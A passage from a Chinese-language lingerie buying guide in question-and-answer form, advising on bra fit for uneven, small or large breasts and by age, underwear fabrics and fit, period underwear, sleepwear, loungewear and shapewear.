　　其次，最好选择能提供详细购买指南的内衣品牌。为了让消费者不经过试穿就能买到合身的文胸，这些内衣品牌通常会下很多功夫，用数据和绘图给出非常详细的选购指南，你只需要依照“量体指南”认真测量自己的胸围即可，一般都能买到比较合身的文胸。

Q14. 两个胸大小不太一样正常吗？该如何选择文胸？

　　正常。这世上没有一对乳房是一模一样的。

　　也就是说，没有两个女人的胸是一模一样的，同一个女人的左右两胸也不一样。可能一侧稍大，一侧稍小，左右差在一个罩杯尺码之内；可能一侧稍高，一侧稍低；乳头的大小也可能不同，凸出的方向亦会有细微差别。

　　因此，在确定了胸型以后我们还有一个工作要做，就是确定自己两个乳房的差别有多大。

　　在选择文胸时，我们应该根据较大的那个乳房的尺码进行选择，用其他辅助手段弥补偏小那个乳房的不合适。比如，如果乳房小的一侧产生空杯现象，可以在那侧罩杯里使用活动式棉垫。

　　两个胸的大小差别如果是在一个罩杯尺码内，穿模杯文胸便可以弥补缺陷；如果差别太大，就需要私人订制合适的文胸了。

Q15. 不同年龄阶段的人应该如何选择文胸？

　　少女时期：应注重保护性和支托性。讲究舒适性、吸汗、辅助塑造初期胸型。通常款式有 AA 系列、背心围等。

　　青年时期：应注重保护性和美化性。可以修饰胸部、增加美感。通常有蕾丝花边系列、轻型收束系列。

　　中老年时期：注重保护性和修身性。通常有全杯型、中型、重型收束系列。或注重保护性和保健性。通常有无钢圈系列和轻型收束系列。

少女时期

　　对于青春期的少女来说，选对文胸可以为未来的乳房发育打下重要基础，所以万万不能马虎。

　　这个时候选择的文胸不能过紧，也不能过松。有些女孩发育比较成熟，但乳房体积较小，这类女孩常犯的错误就是选用很宽松的文胸或者干脆不穿文胸。这样会使乳房失去依托，虽然还不至于下垂或者变形，但为未来的发育埋下了不小的隐患。

　　少女还处于未完全发育的阶段，日常运动量又比较大，文胸应选择柔软、透气好、散湿性强的材质。

　　虽然棉布是公认的健康材质，但对少女并不适合。因为棉布吸湿性太强，又无法速干，日常运动量大、出汗多的少女穿着可能会很不舒服。因此应选择优质的弹力化纤面料，比如锦氨、尼龙等，或这些成分含量较高的面料。

　　还在发育阶段的少女不宜穿戴有钢圈的文胸。

　　对少女来说，最近市场上大热的用贴合工艺制作而成的无痕背心围，是非常合适的款式。背心围在胸部用一种叫“子弹头”的磨具冲出一个凸起的空间，形成可扩展的弧度空间，很适合青春期乳房快速发育变化的需要。这个凸起的空间通常有两层，在背面有可以装棉垫的口袋，需要时可以插入活动式棉垫，对乳头加以保护，也防止凸点的尴尬。

青年时期

　　对这一年龄段的女性来说，选对文胸就像选对结婚对象一样重要。事实上，市场上大部分的文胸产品都是为这个阶段的女性提供的，几乎所有的款式都可以在她们的选择范围内，比如钢圈、模杯、插片文胸等，她们有充分试穿、找到最适合自己那一件文胸的机会。

　　对她们来说，理想的文胸应该是在人体活动时刚好能托起乳房，能尽量限制乳房的活动而不影响呼吸，取下后皮肤上不会留有压迫的痕迹。同时，美感在这一阶段也格外重要，因为这是她们人生中最美好的年龄段，选择文胸尽可以大胆、前卫，给自己的身体以充分展示的机会，不留遗憾。

　　因为此时女性的乳房已基本完成发育，文胸的大小以完全贴合为最佳。过小，会压迫乳房和乳头，影响呼吸，使乳房感到不适；过大，则达不到支撑、保护乳房的作用，也会严重影响美观。

　　这一阶段的女性大多会经历哺乳过程，有穿戴哺乳文胸的需求。如何选择哺乳文胸，后面会特别讲解。

中老年时期

　　这一年龄段的女性身体普遍“发福”，大多需要穿超大尺码的文胸。

　　在欧美国家，有一个专门供给大身材的文胸区域叫做“Plus Size”，目前，在市场上所占的份额也越来越大。

　　与普通尺码的文胸相比，大尺码文胸显然更注重功能性，焦点集中在“罩全（Full Coverage）”和“推高（Push Up）”上。中老年文胸市场上可以矫正下垂的全罩杯款式居多。全罩杯式大多有钢圈，或者底围用较宽的橡筋，这些都是防止下垂的重要设计。大尺码文胸最好是宽肩带的，一般应不窄于 2～3 厘米。因为乳房有一定重量，只有足够宽的肩带才能给予足够的支撑，否则很容易造成肩背疼痛。如果肩带不够宽，可以购买加宽的肩带。

　　拥有大尺码乳房的女性常常对文胸有更多、更高的要求，可是我们也注意到，市场上适合这部分人群的文胸跟普通尺码比，款式少很多，美观度也低很多。我常常听到大罩杯女性对此事的抱怨，也常常收到私信问我为什么不能为她们设计更为美观的文胸。因为文胸设计特别受技术的影响，大尺码的文胸在功能性方面有格外要求，尤其有赖于技术方面的支持。比如，如果能出现新的弹力布料，或是更符合人体力学的模杯、钢圈，甚至研发出功能创新的肩带、围带、背钩等，这部分设计就能出新。否则，就很难在美观和功能并重上有所突破。

Q16. 底围只有 70，可罩杯却是 E，应该如何选择文胸？

　　底围小，罩杯大，多出现在发育特别成熟的年轻女性身上。

　　这种胸型需要选择罩杯尺码分类更为细致、丰富的文胸款式，如果尺码分类仅有 S、M、L 肯定不合适，一定要选按照罩杯尺码分类的文胸，比如 A 杯从 70～90 都有，或者从 70A～70E 都有的类型。

　　不过，因为尺码分类越多就越容易造成库存积压，所以一般品牌都不愿意这么做，市场上只有为数不多的一两个品牌肯这样冒险，这类胸型要选择文胸有很大困难。有的人只好买来罩杯合适的文胸，然后自己改短底围，或者私人订制。

Q17. 文胸穿上后，总是塌陷着、皱皱的，应该怎么办？

　　这种胸型的形状很像投影效果，即有着合适的底围，但乳房却没能充满整个文胸的罩杯，这种胸型叫做投影渐小形胸型。

　　文胸款式推荐：

  1. 首先应选择钢圈胸围尺码合适的文胸，然后借用强化胸部的配件，比如活动式棉垫之类，填充罩杯里面的空隙。
  2. 选择使用弹性布料制作的罩杯，可以根据胸型自行调整松紧度。
  3. 选择罩杯上端有弹性橡筋带的文胸。
  4. 轮廓减小式文胸可能是非常好的解决办法。这种文胸的罩杯通常在设计时就会把这个问题考虑在内。

Q18. 罩杯大但不想显得太丰满，应该如何选择文胸？

　　你可以选择模杯文胸，不会再增加胸部尺码。也可以选择减小胸型式的文胸，这种款式的文胸通常是将胸部推高，再分散胸部纤维组织，以便让胸部看上去不再那么突出。

　　或者选择有运动风格的文胸，这样也可以给肩膀和下围更好的支撑。

Q19. 明明是 A 罩杯，需要把自己穿成 C 罩杯吗？

　　当然是完全不需要。

　　且不说市面上那些为了让 A 罩杯或 AA 罩杯显得更丰满而设计的文胸有多可笑，垫那么厚的垫有多不自然。如果我是个纤细苗条、四肢修长的人，A 罩杯对我来说，不但不减分反而是加分。它们让我更轻盈，更飘然似仙，周围的女性朋友们不知有多少都在羡慕我呢。

　　其实 A 罩杯真的有很多令人羡慕的地方。现在很多网络论坛上都有类似“平胸女人更美丽”的话题，网友们总结出了 A 罩杯的种种好处，不是“酸葡萄”，更不是自欺欺人。比如，跑步或跳舞时乳房不会因为晃动而疼痛；睡觉姿势可以更加随心所欲，趴着睡也很舒服；而最让小胸女性开心的是，最困扰那些大胸女性的下垂烦恼，A 罩杯完全没有。

　　早几年欧美已经出现了“我是平胸我骄傲”“平胸女联合起来”诸如此类的互联网群组，还有像“胸小心大”这样的命名网站。参加这些群组的人，对市场上销售的内衣提出的口号是“你驾驭得了我（的乳房）吗？”而不是“我（的乳房）够大（穿你）吗？”

　　她们不再在乎女性内衣是不是能把自己的胸衬托得更大，而是呼吁设计师们设计出更多适合自己自然身体状态的内衣，比如三角软杯、不带海绵垫的单层文胸等。

　　其实不止欧美，娇小身材居多的国内也能听到越来越多的“A 罩杯也不错”的说法。胸小怎么了，没有乳沟怎么了？很多小胸女人要不是需要上班，会议室总是冷气过量会造成“凸点”，她们不穿文胸也觉得没什么，是否是 A 罩杯更无所谓。

　　这当然是勇敢前卫的观点，尤其现在仍然有那么多形容 A 罩杯的词，比如“一马平川”“飞机场”等。即使不说充满恶意和鄙俗，也肯定不是什么好意。敢于接受自己的真实，认可自己的不完美，其实是更完美的美。

　　选择穿什么样的文胸，是由你对待自己乳房大小的态度决定的。

Q20. 你应该有哪些颜色的文胸？

　　文胸抽屉里，平滑面料和非平滑面料的文胸应该占比差不多。平滑面料因为其基础性，以素色为主，黑、白、肤三个基本色是必备，最好也有一两件炭灰和花灰色。同时，每个季度可增加一款流行色。

　　非平滑面料的文胸，比如蕾丝、刺绣文胸等，颜色就可以比较大胆和开放，多以流行色为主，或者完全不考虑流行颜色，选择自己钟爱的就好。

Q21. 常见的内裤材材质有哪些？

棉

　　棉的种类很多，包括棉花的棉，各种天然纤维织就的棉，比如莫代尔棉、匹马棉、竹纤维棉等，还有备受推崇和青睐，价格也比较高的各种有机棉。

　　棉质具有很好的亲肤性，很少有人会对棉质过敏，因此，我个人认为内裤最好的材质是棉，建议每个女性的内裤抽屉里，以棉质为主的内裤起码应该占一半比例。

弹力色丁

　　通常表面光滑，有亮度，背面暗沉。其原料可以是棉、混纺、涤纶、纯化纤等。色丁被注入氨纶丝的面料就是弹力色丁，光泽度、悬垂感都很好。轻薄柔顺，抗撕裂度高，丝绸手感，品质高雅。

　　也有真丝弹力色丁，但价格十分昂贵，只有高端品牌才会使用。

　　弹力色丁虽然有一定弹力，但如果用在整条内裤上还是会有弹力不足的问题，因此弹力色丁通常会混搭其他材质制作内裤，比如弹性蕾丝、弹力网纱等。

蕾丝

　　又称花边，是一种网眼组织，最早用钩针手工编织。

　　蕾丝使用尼龙、涤纶、棉、人造丝作为主要原料，如果加入氨纶或弹力丝即可获得弹性，成为弹性蕾丝。

　　内裤上常见的弹性蕾丝类型如下：

　　尼龙（或涤纶）+氨纶：常见的单色弹性蕾丝；

　　尼龙+涤纶+氨纶：由于在锦和涤纶上染的颜色不同，制成双色蕾丝；

　　尼龙（涤纶）+棉：可以做成花底异色效果蕾丝；

　　全棉+氨纶：棉质弹性蕾丝。

弹力网布

　　通常是针织网布，原料一般为尼龙、涤纶、氨纶等。柔软轻薄，透气性好，弹力大。

　　微纤维

　　又称超细纤维。用合成纤维制作的布料，其纤维单位在 0.3 旦（直径 5 微米）以下，仅为真丝的 1/10。最常见的超细纤维材料是化纤或尼龙，或尼龙和化纤的混合，也就是绦纶和锦纶两种。

　　超细纤维由于纤度极细，大大降低了丝的刚度，制作成布料手感极为柔软，还有真丝般的高雅光泽，并有良好的吸汗、散湿性。目前，微纤维是制作内衣最流行的材料，成品舒适、美观、保暖、透气，有较好的悬垂性和丰满度，在疏水和防污性方面也比一般纤维要高。

超细莫代尔

　　由澳大利亚蓝晶（Lenzing）公司注册商标的一种微纤维，用山毛榉纤维素纺制的布料。这种纤维比丝线还精细，织成的布料非常精致且质量轻。用超细莫代尔制作的女性内衣，被美誉为“第一肌肤”，顾名思义，比“第二肌肤”更胜一筹，几乎可以做到没有穿戴痕迹。超细莫代尔表面光滑，可以防止酸橙和洗衣液的沉淀，即使经过多次洗涤后仍然如丝般光滑柔顺，颜色明亮鲜艳。超细莫代尔比棉的吸水力强 50%，因此可以让皮肤更好地呼吸。

匹马棉

　　特指在美国、澳大利亚、秘鲁生长的一种超长短纤维棉，世界只有少数地方可以出产，数量十分有限。匹马棉以前被称为“美国-埃及棉”，后来被重新命名，以奖励在亚利桑那州的撒卡顿为美国农业部种植了这种棉的匹马印第安人。匹马棉与高地棉的主要区别在于纤维的长度和力度。在美国，如果棉纤维长于 1.375 英寸，就被认为是匹马棉。它的韧度和细度都比高地棉要好。质地自然柔软、手感顺滑，悬垂感特强，织出来的布料韧性十足，价格相应地也比较高。

Q22. 内裤有哪些常见款式？

Q23. 是否有 100% 纯棉弹力内裤？

　　有，但现在越来越少。

　　纯棉虽好，不过 100% 棉的回弹能力比较差，穿不了几回就可能松垮。因此，市面上的棉质内裤通常会混和 3%～12% 不等的弹性纤维，比如氨纶。在这个比例范围内，弹性纤维的占比越高，内裤的弹性幅度也就越大，无论是舒适度还是亲肤度都会更好。

　　那么如何判断是否有足够弹性呢？方法很简单，看成分标签上是否有氨纶含量。也可以在选购时往横向和纵向都拉一拉，如果松手以后能迅速恢复原状，就意味着弹性足够，而只有弹性到达一定程度才足以满足我们身体的活动幅度。有些内裤刚穿上时很舒服，但很快就会挤入股沟，不能安全地包裹住臀部，越穿越难受，这就是弹性不够的原因所致。

　　现在，使用混纺高弹纤维的棉做内裤面料已经是大多数内衣公司的普遍做法了。只不过这些弹性纤维有些是化纤的，有些则是天然的，价格上自然会有所表现。因此，如果条件允许，建议大家尽量不要购买过于便宜的棉质内裤。

Q24. 如何识别内裤成分标识里的弹性纤维？

　　内裤的水洗标上，通常会标明材质的成分。除了棉，还经常会有几个我们可能完全不了解的名词。其实它们大多是弹性纤维，是增加内裤弹力的混纺材质。经常见到的弹性纤维名称有以下几种：

尼龙

　　尼龙是美国杰出的科学家卡罗瑟斯及其领导下的一个科研小组研制出来的，是世界上出现的第一种合成纤维。

　　尼龙以高柔韧性和回弹性著称；便于洗涤，干得快，不起皱，无须熨烫；不缩水也不伸缩，因此总能保持形态。尼龙纤维有丝的光泽，拉张力比羊毛、丝绸、人造丝或棉都高，能经受上万次折挠而不断裂。

　　用尼龙织成的面料一经问世，就受到内衣设计者的关注。在尼龙出现前，内裤几乎都是用白麻做的，宽松不贴身；尼龙造就了第一款紧身内裤，开始所谓“第二肌肤”的概念，能够充分表现女性的身体曲线。

　　但尼龙的耐热性和耐光性较差，吸湿性和染色性也不佳，因此现在内裤中单独使用尼龙纤维的并不多，更常见的是尼龙与粘胶纤维结合的面料，能让布料本身分量变轻，透气性更好，并仍能有优良的耐久性和更好的染色性。

粘胶纤维

　　纤维素从木头中提炼，特点是柔软，悬垂感好，光泽度高。

氨纶

　　氨纶的英文在美国是 Spandex，美国以外称 Elastane。

　　一种用聚氨基甲酸脂制作的合成纤维，以弹力强、分量轻著称。不仅结实耐磨，而且不吸水、不吸油。对于对乳胶成分过敏的人来说是最好的替代品。1959 年由杜邦公司研发，它为合身内衣带来了革命性的变化，让内衣在可以支撑和塑造身体的同时，以高弹性适应各种运动，因此不再需要另外的紧系。

　　而氨纶最著名的商标是美国英威达公司出品的莱卡。

莱卡

　　莱卡是美国杜邦公司推出的新型纤维，这种材料被誉为“内衣的天使”，其弹性比尼龙更好，与其他天然或人造纤维混纺后，弹性长度高达七倍，回弹状态完美，具有极好的伸缩性和舒适度，更能满足女性运动时的需求。

Supplex®

　　由美国杜邦公司制造。是像棉一样柔软的尼龙，虽然是人工布料，却有着棉的外观。轻，易干，结实。通常用 Supplex®制作的内裤价格较贵。

Tactel®

　　美国杜邦公司出产的一种尼龙纤维。比尼龙更柔软、更有丝光度，通常表面有皱纹。轻，易干。价格比尼龙贵。

Q25. 底裆的衬布为什么一定要是纯棉的？

　　选择内裤时，无论其主材质是否含棉，即使是莫代尔棉或竹纤维棉，底裆内衬的材质都一定要选择 100% 纯棉的。女性最隐秘的部位相当敏感，各种病菌极易侵入，任何纯棉以外的布料都有可能引起过敏反应，低级廉价的化纤材质更是容易滋生病菌的温床。

　　别小看这么一块不起眼的布料，如果材质不当，它会引起各种炎症，直接影响健康。因此在选购内裤时，女性朋友一定要注意查看。

Q26. 内裤有哪些不常见的时尚款？

巴西式内裤

　　正面看类似普通比基尼或低腰内裤，背面暴露部分臀部，比丁字裤暴露得少，比普通内裤暴露得多。

法式内裤

　　通常使用宽度为 5～7 英寸的蕾丝整体制作而成，侧翼的宽度即为蕾丝宽度，没有侧缝，暴露少许臀位底部，故又称“Cheeky”。“Cheeky”一词，原意脸蛋，意会成“半个屁股”。

热裤

　　缘自早年踢踏舞女热裤，故名为“Tap Pants”。通常使用蕾丝、弹性真丝或缎面料，是非常甜美、非常女性化的一款内裤。

Q27. 从制作工艺看，内裤有哪些分类？

　　现在主要有车缝和贴合两种工艺。

　　车缝，是一种传统的缝制工艺，顾名思义，要用缝纫机缝制。这种工艺制成的内裤表面可以看见缝线。通常需要多种缝纫机，比如平车、拷边车、人字车等，才能完成一条内裤的缝合。几乎所有面料都可以车缝，大部分面料需要拷边或卷边处理，因此会有一定厚度。

　　贴合，也就是我们常说的“无痕”工艺，内裤边缘用镭射刀剪裁，主要接缝处用胶通过高温粘合起来，表面没有缝线、针脚、包边，因此光滑、平整。但不是所有面料都适合这种工艺，必须未经过柔光处理才可以拿来贴合，也就是说布料的表面要有一定的粗糙才能更好地粘合上。现在市面上也出现了“随心裁”面料，即不卷边、不豁边的面料，是理想的贴合材质。

　　贴合内裤毫无勒束感，穿着无压迫感，因此受到越来越多的人喜欢。

Q28. 购买“无痕”内裤时需要注意什么？

　　所谓“内裤痕”，指的是在外衣下能看到内裤的轮廓痕迹。一般来说，在欧美文化里，暴露内裤痕就像暴露隐私一样被视为不雅行为，尽可能地不显示它是基本礼貌。另一方面，从穿长裙或长裤的效果来看，内裤无痕也肯定会让外观看起来更为流畅美妙。

　　现代内裤从“第二肌肤”到“第一肌肤”的不断发展变化，从技术上讲，可以说都是尽可能消除“内裤痕”的过程。每一次使用材料、款式风格、制作工艺变化的目的，其实都是如何让内裤更加“无痕”。因此我们在选购内裤的时候，也一定要特别留意这个问题。

　　能制作贴合款内裤的面料大多有很强的伸缩性，穿一定时间后很容易松懈变大，所以在购买时，可以买偏小一号。

　　另外，如果是“随心裁”面料做的内裤，因为脚口不用贴边，也不上橡筋，弹力其实是不够的。如果做成三角裤或比基尼款，很容易造成夹沟现象。因此，购买“随心裁”面料的内裤最好买平角裤款。

Q29. 怎样才算是合适的内裤？

　　如果发现内裤发生扭动、团皱，或简单讲，不能裹住臀部不动，说明你选择的内裤尺码过大了。

　　现在市场上的内裤大多使用混有弹性纤维的布料，弹力足够应付我们身体的运动幅度，所以，尺码合适的内裤，前后应平滑地贴在皮肤上，不应有多余的空隙；而且应该感觉松紧适中，不应有勒束感；在外裤或裙下不应看到内裤的起皱和堆积。

　　如果感觉腰部松紧带过紧或是勒进了皮肤，甚至让你的腰部两侧曲线出现层叠状，或脱下内裤后皮肤上留下勒痕，这些都说明你的内裤尺码过小了。如果裤脚的橡筋造成同样的问题，也是因为内裤过小。

Q30. 你应该有哪些颜色的内裤？

　　一个女人的内裤抽屉里可以有各种自己喜欢的颜色，特别是流行颜色，但有三个基本颜色不可或缺：裸色、黑色、白色。

裸色

　　因为是最接近肌肤的颜色，几乎可以搭配所有颜色的裤装或裙装，被称为内裤百搭色，它应该是你抽屉里最多的颜色。如果你不想动脑筋考虑内裤与文胸、内裤与外裤或裙子的颜色搭配，那么多买几条裸色内裤肯定没错。

　　我们在选购内裤时一定要选择最接近自己肤色的那个颜色，或者稍微深一点，切记不要浅于自己的肤色。

黑色

　　内衣里最神秘的颜色，也是最长销和畅销的颜色。黄种人的大部分肤色都可以穿黑色，如果黑得足够纯正，也就是说足够黑，则更容易产生高级感。

白色

　　纯正的白色被认为是最纯洁、最天真的颜色，如果白得纯正，我认为也是最性感的颜色。

流行色

　　时尚色即当季流行色。

　　我们内衣设计师在做一个季度的设计时，一般一个款式会做几个基本色，再搭配一两款流行色。你可以根据喜好选择自己想要的流行色。

Q31. 内裤要与文胸成套购买吗？

　　市面上有很多文胸与内裤的套装，至少在做展示时，喜欢放在一起配套展示，设计师做设计时也会做套装设计。而且据说女孩子穿成套内衣“撩汉”的成功率会更高。不过，我个人并不赞成一定要购买这种搭配好的套装，至少不会拘泥于此。

　　况且我们的内衣抽屉里，内裤的数量比文胸多很多，比例至少是 2:1 或者 3:1。所以，一款文胸至少搭配两款内裤。那么，如何搭配或搭配出特别的效果，选择权完全在你自己。

　　搭配时通常将相同材质搭配在一起，颜色倒是需要多费些心思。黑色和裸色都是百搭色，互相搭配总会有特别效果，比如黑色蕾丝文胸搭配裸色蕾丝内裤。

Q32. 一个人应该有多少条内裤？

　　有专家建议说应该有 14 条，够两周穿。

　　这是一个最基础的数字，我个人觉得应该更多。

　　首先，因为内裤价格通常比文胸低很多，购买没有太大压力。其次，出于卫生考虑，更换频率也比文胸高。前面说过，一件文胸至少应该有两条内裤与之搭配，那就先数数你有多少件文胸吧。再者，内裤也有季节之分，尤其应该为夏季准备更多轻薄、凉爽的款式。

Q33. 生理期需要穿特殊的内裤吗？

　　很多女性在生理期都会有一个共同的烦恼：白天担心渗漏弄脏裤裙，连走路都小心翼翼；半夜担心侧漏弄脏床单，连侧翻都不敢。这个时候，女性就应该为自己选择一条舒适的生理内裤，给特殊时期的自己以特殊的关爱，让生理期更轻松、更健康。

　　生理内裤通常在底档和后部直接使用或增加一层防水面料做内衬，可防止经血的后漏和侧漏。即使沾上血污，污渍一般也不会渗入织物纤维内部，清洁起来十分容易。

　　防水面料主要有两种，一种是在普通面料表面涂上防渗涂层；另一种是防水膜贴合型，就是将一层物理防水高分子塑料膜与普通的纺织基料严密地黏合在一起。从外观上看，这两种生理内裤没有太大差别，可手感明显不同。第一种涂层型较厚，但比较柔软，其防渗部位的手感与其他部位基本一致；第二种较薄，仔细触摸有细微的“沙沙”声。总体来说，现在市面上的生理内裤透气性都比前些年有明显进步，但防水膜贴合型还是更好，即使在天气闷热的盛夏穿着也无不适感。

　　生理内裤虽然出现时间不长，但设计人员在选料及裁剪上都下了很多功夫，且考虑越来越周全，市场上已经有不少设计相当合理的生理内裤，既有普通的三角裤、平角裤，也有束腹提臀型的生理裤，女性朋友可以大胆选择。

　　但防水面料终归透气性欠佳，非生理期不建议穿。

Q34. 市面上的一次性内裤可以购买吗？

　　一次性内裤通常是为旅行、外出过夜或临时需要时携带方便而制作的，价格比较低廉，用完即可扔掉。一次性内裤有布质也有纸质的。如果是购买一次性布质内裤，最好要确认这个内裤是否经过消毒，是否为真空包装，这样拆包即可穿上，否则会有安全隐患。而且无论多么廉价，裆部仍然要是棉质的。

Q35. 为什么国内市场上很少有纯白色内裤？

　　的确，我们在国内市场上很难找到纯白色内裤，因为我们在做设计生产时就被品牌方要求不能有纯白色。这是为什么呢？

　　因为纯白色在染色时都添加了“荧光剂”（俗称“增白剂”），而现在很多人闻此剂即色变。

　　荧光剂是一种含有复杂有机化合成分的荧光染料，它的作用是提高产品在日光下的白度，布料在肉眼看时会感觉很白、很干净。荧光剂曾经被广泛应用在纺织、造纸等很多方面，但现在国内对于是否应该使用它存在比较大的争议。比较普遍的说法是荧光剂可透过肌肤被吸收进人体内，进入人体后不容易被分解，可在人体内蓄积，大大削弱人体免疫力；或者，荧光剂与伤口外的蛋白质结合，会阻碍伤口的愈合；再或者，荧光剂会让人体细胞出现变异性倾向，其毒性累积在肝脏或其他重要器官，会成为潜在的致癌因素。

　　这样的说法是否有科学依据？

　　其实，科学家们早已经用各种实验和研究证明它们基本是无稽之谈，荧光本身就普遍存在于自然界中，也存在于各种动物体内。自然界有很多东西，在剂量正常使用下都是安全的。欧美市场上就一直有使用荧光剂增白染色的纯白色内衣。那为什么国内没有呢？大概因为适量使用与超量使用很难被控制，有些厂商为了达到增白目的，不顾剂量，大量使用，从而造成危害；或者把漂白剂跟其他结构相似的毒性化学物质搞混了；又或者跟产品内同时含有的香料或防腐剂所造成的反应搞混了。总之，为了防止意外发生，国内基本已全面禁止增白剂在纺织业的使用。因此，我们可以选择的内衣就只有本白色了。

Q36. 你会穿着睡衣睡觉吗？

　　有的人不穿睡衣会睡不着，有的人则相反，穿了反而会睡不着。穿不穿睡衣更多是一种习惯，而我觉得每个人都应该养成这个习惯。这是为什么呢？

保暖

　　睡衣最早的功能是为保暖。怕冷的确是很多人选择穿睡衣的原因。不过，并非寒冷的时候或地方才需要保暖，女性的腹部相当敏感和脆弱，即使夏季也有可能受凉，况且大多时候是在有空调的环境里。女性受寒，可能年轻时或短时间里看不出什么问题，但随着年龄的增长，因为受寒而埋下的病根就会一点点显现出来，最后成为不可治疗的慢性疾病。因此，年轻时的一件小睡裙将腹部稍稍遮盖，就能起到保护自己的作用，还能让睡眠更安稳，也更有利于个人健康。

卫生

　　人体在睡觉时会有各种分泌物，尤其可能出汗。如果不穿睡衣，可能每天都要更换床单和被罩。相比于洗涤后者，一件睡衣换起来要方便得多。

特殊环境的必需品

　　即使我们在自己家里愿意选择裸睡，可是仍有一些场合不穿睡衣是绝对不行的。比如，当你到别人家留宿或住在学校宿舍时。

Q37. 睡衣有哪些常见款式？

Q38. 什么是衬裙式睡衣？

Q39. 什么是娃娃式睡裙？

Q40. 睡衣该选棉质的，还是丝质的？

　　睡衣的常见面料主要是棉与丝绸（或仿丝绸）。

　　两者比较起来，市场上丝质睡衣的数量似乎更多。但其实真丝面料因为成本高，只有高端品牌才有可能使用，普通品牌大多使用的是仿真丝面料。常见的真丝面料有缎、雪纺、提花缎和单面丝针织等；仿丝绸常见面料有仿缎和人造丝等。

　　棉也是常见的睡衣材质，有针织棉和梭织棉之分，两者的区别是前者有弹性，后者没有。

　　针织棉是弹性纤维出现以后才有的面料，却后来居上，现在是睡衣市场的主力军。它能随季节变化而有薄厚过渡，而且品类十分丰富，比如有单面针织物、双面针织物、螺纹织物、双螺纹针织物、莫代尔、竹纤维棉等。

　　棉当然也有好坏。坏的棉，干涩、粗糙、硬刮；好的棉，爽滑、凉、软、沉，手感上丝毫不输丝绸。

　　如果有人问我会选择什么质地的睡衣入睡，我一定会说：“棉，当然是棉。”因为棉有更好的体温适应性，冬暖夏凉，而且在躺下时更随体，穿着睡觉会更舒服、更自在。

Q41. 想购买高级的棉质睡衣，应该选哪种成分的棉？

　　精梳棉、埃及棉、匹马棉、丝光棉。这四种棉均被认为是顶级棉质，只有高端内衣品牌才有可能使用。如果想选择高级的棉质睡衣，可以从这四种棉中挑选。

Q42. 睡衣的颜色对睡眠有影响吗？

　　根据科学研究，颜色对于睡眠有明显影响。比如，浅色有助于睡眠，过于鲜艳的颜色则会刺激大脑皮层兴奋。因此设计师们在设计睡衣时，通常不会让颜色过于艳丽、图案过于复杂，而是尽量选取浅淡的暖色系，比如淡粉、淡蓝、象牙白等。印花图案也要温柔、和美，常见的图案有淡雅的花、可爱的动物以及简单的几何图案，如条纹、波尔卡圆点、方格等。这些图案都会让人精神放松，有助于睡眠。

Q43. 回到家一定要换上家居服吗？

　　穿家居服首先是出于卫生的考虑，这一点已无须多说。室外环境污染越来越严重，我们要保护自己和家人，就需要确立明确的室外与室内的分界，回家换上家居服就是行动之一。

　　另外，走进家门换上家居服的一瞬间，还会给我们一种明确的心理暗示：我已从纷纷扰扰的外部世界回到了家，回到了属于自己的私人空间。每次到家换上家居服，我都会油然而生一种胜利感，而款式漂亮、质地优良的家居服就像是对这种胜利最实在的奖励。

　　服装不仅能反映人们的生活方式，也会对人的情感产生作用，就像一件美丽的睡衣可以帮助我们更快地进入睡眠状态一样，一件宽松舒适的家居服也可以让我们马上感受到回到家的放松感，并且表达出“我不再想出门了”“我愿意待在家里”的态度。

Q44. 常见的家居服都有哪些款式？和睡衣有什么不同？

　　帽衫外罩、套头衫、T 恤衫、亨利领裙装、短裤与长裤、睡袍等都是比较常见的家居服。

　　那家居服和睡衣有什么不同呢？

面料

　　睡衣的面料可以很轻、很薄，甚至可以透；虽然有不少是有弹性的，但不是必须。

　　家居服不会透，会相对厚一些，但又不像外衣那么厚，为方便起居，一般都会带点弹性。

颜色

　　睡衣多为浅色，但家居服的颜色既可以浅淡、温柔，也可以深一些，如咖啡色、藏蓝色，甚至还有黑色。

裁剪

　　睡衣和家居服的款式有不少重叠，比如背心、短裤、长裤等。从裁剪上说，睡衣通常是直腰身，甚至是放腰，越宽松越好。家居服则多少会有些腰部设计，带弹性的面料往往也会很自然地显露身体曲线。

　　家居服要便于活动，出入方便，因此多为背心，衣裤套装，裙装较少。

　　家居服一直颇受休闲衣、运动衣和街衣潮流的影响。运动衣风格的家居服，尤其是瑜伽服也一直是家居服里的主要角色。

Q45. 你的家居服不会只有男朋友的大 T 恤吧？

　　常听女性朋友说：“为什么还要买专门的家居服呢？套一件男朋友或老公穿剩的大 T 恤不就可以了吗？”

　　这当然没有错，起码比起回到家还穿着外衣要好。大 T 恤可能的确是很多人的家居选择，因为它通常是棉质的，宽松又舒服。

　　不过，男朋友的大 T 恤不能是你唯一的家居服，不能从一进家门就套上它，穿着它吃饭看电视，穿着它睡觉，直到第二天早上要出门上班才换下来；更不能整个周末 48 个小时都不离身。

　　因为大 T 恤再好，它也无法表现女性特有的曲线美，穿久了，或许会让你忘掉自己是一个女人。

　　因此，如果你的衣橱里只有男朋友的大 T 恤，我建议你还是赶紧去买新的家居服吧。

Q46. 什么是调整型内衣？

　　调整型内衣又名重机能内衣，也就是我们常说的“塑身衣”或“体雕衣”，是现代内衣工业根据医学、美学、人体工学和专业内衣设计所研发出来的一种新型内衣种类。它的出现与尼龙等弹性纤维的出现密不可分，并跟随内衣材料的一次次革新而一步一步发展成熟起来。调整型内衣的原理是运用弹性材质、利用身体的自然运动而将多余的脂肪燃烧消耗一部分，再分别加压、推移脂肪至乳房和臀部，就是说让该瘦的地方瘦，该胖的地方胖，从而修饰出完美的身体曲线。

　　现代调整型内衣发展迅猛，在款式上除了关注到女性的胸部，也关注到她们身体的其他部位，比如腰、腹、大腿、小腿、手臂等。可以这么说，身体的每个部位都有了相对应的塑身衣，整个女性躯干上已经没有哪个部位是它不能调整到的了。比如，它们可以让乳沟更深，胸部更挺括，腰更细，腹部更平坦，臀部更丰满，大腿更紧实，小腿更纤细等。

Q47. 调整型内衣有哪些款式？

Q48. 调整型内衣有哪些常见面料？

　　在购买调整型内衣前，先让我们来了解下它所使用的布料。太空纤维、莱卡纤维、锦氨等代表了不同的舒适性，也就是不同的弹力度，我们要在购买前对材料多一些了解，以便买到更适合自己塑形要求的内衣。

　　现在调整型内衣的款式越来越好看，也越来越时尚，很多带有精美的镂空、浮花、提花图案，大多平滑得像丝绸一样。从设计角度讲，为了让身体感觉舒服，这类内衣现已基本采用筒机针织面料，这种面料让内衣实现了无接缝技术，使其在外衣下面更为平滑。调整型内衣现也基本不使用各种辅料零件，比如系带、拉锁、滑环、纽扣等。大部分调整型内衣完全靠布料和辅料本身的弹力调节松紧。

　　调整型内衣经常使用的面料有如下五大类：

氨纶

